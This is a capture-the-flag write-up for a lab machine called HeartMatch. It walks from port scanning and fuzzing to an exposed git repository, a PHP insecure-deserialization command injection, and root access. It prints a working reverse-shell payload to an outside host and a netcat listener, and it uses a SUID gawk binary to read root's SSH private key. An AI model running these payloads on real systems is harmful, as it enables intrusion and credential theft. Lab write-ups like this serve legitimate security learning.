- Published on
HeartMatch Writeup
- Authors
- Name
- Gabriel Silva
- @gabriel-silva-509347165

Port Scanning
export IP=172.16.8.163
nmap -sV -sC -p- -v $IP --min-rate 3000

Only the ports 22 (SSH), 80 (HTTP) and 5173 (unkown) were found opened.
Enumeration
curl -I 172.16.8.163

When we tried to get the Headers, the application redirects to heartmatch.hc , we need to put this domain on our local DNS
sudo vim /etc/hosts


Now we can access the application.
Fuzzing
ffuf -w /usr/share/seclists/Fuzzing/fuzz-Bo0oM.txt -u http://heartmatch.hc/FUZZ -fw 54

Somehow, the application is leaking internal files, like hosts and passwd.
Checking the /etc/hosts file, we found a subdomain called backoffice-admin-hm.heartmatch.hc
.
We need to add this subdomain in our local DNS too.
sudo vim /etc/hosts

No we can access the subdomain

I registered a new account and log in into the application


I checked the existing routes and nothing was found in this application too, so we are going to fuzzing part2.
ffuf -w /usr/share/seclists/Fuzzing/fuzz-Bo0oM.txt -u http://backoffice-admin-hm.heartmatch.hc/FUZZ

Ffuf found a git exposed.
Using the tool git-dumper we downloaded all the files
https://github.com/arthaud/git-dumper
git-dumper http://backoffice-admin-hm.heartmatch.hc/.git/ src

With the source code of the application in hands, we can start de code review.
Code Review
The PHP application was using object deserialization with the UserSession class, which included the following magic method:

The __wakeup()
method is automatically called when an object is deserialized. The developer intended to validate the plan and then use system() to save it to a file named after the username.
The issue
The username field was not sanitized, which made it possible to inject arbitrary shell commands.
Even though plan had to be "free" or "premium", nothing prevented username from containing dangerous input. For example:
$username = "test.txt; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'; #";
This causes the following system command to be executed:
system("echo premium > /tmp/test.txt; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'; #.txt");
In other words, after writing the plan to a file, the system executes the injected reverse shell command.
Proof of concept (POC)
I crafted the following PHP object:
<?php
class UserSession { public $username = "attacker.txt; bash -c 'bash -i >& /dev/tcp/10.0.31.150/1337 0>&1'; #"; public $plan = "premium";}
echo base64_encode(serialize(new UserSession()));

Foot Hold
After running our poc, it will generate a serialized base64 encoded and sent as the value of the user_data cookie.

Now we need to start our listener
nc -lnvp 1337
After that, we send our payload into our cookie session and reload the page, so it can trigger the insecure desseralization


Privillege Escalation
Gawk binary with SUID permission
find / -type f -perm -04000 -ls 2>/dev/null

https://gtfobins.github.io/gtfobins/gawk/
With this binary we can read any file in the server, so we can use to read the final flag, or get the root ssh key.
LFILE=root/.ssh/id_rsa
/usr/bin/gawk '//' "$LFILE"

vim id_rsa
chmod 600 id_rsa
ssh root@172.16.8.163 -i id_rsa

Proof
